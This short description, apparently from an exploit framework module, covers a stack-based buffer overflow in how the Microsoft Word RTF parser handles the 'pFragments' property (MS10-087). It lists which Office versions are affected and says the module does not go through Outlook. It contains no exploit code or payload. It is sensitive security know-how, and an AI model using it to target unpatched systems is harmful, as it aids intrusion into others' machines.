Description:
  This module exploits a stack-based buffer overflow in the handling 
  of the ‘pFragments‘ shape property within the Microsoft Word RTF 
  parser. All versions of Microsoft Office 2010, 2007, 2003, and XP 
  prior to the release of the MS10-087 bulletin are vulnerable. This 
  module does not attempt to exploit the vulnerability via Microsoft 
  Outlook. The Microsoft Word RTF parser was only used by default in 
  versions of Microsoft Word itself prior to Office 2007. With the 
  release of Office 2007, Microsoft began using the Word RTF parser, 
  by default, to handle rich-text messages within Outlook as well. It 
  was possible to configure Outlook 2003 and earlier to use the 
  Microsoft Word engine too, but it was not a default setting. It 
  appears as though Microsoft Office 2000 is not vulnerable. It is 
  unlikely that Microsoft will confirm or deny this since Office 2000 
  has reached its support cycle end-of-life.
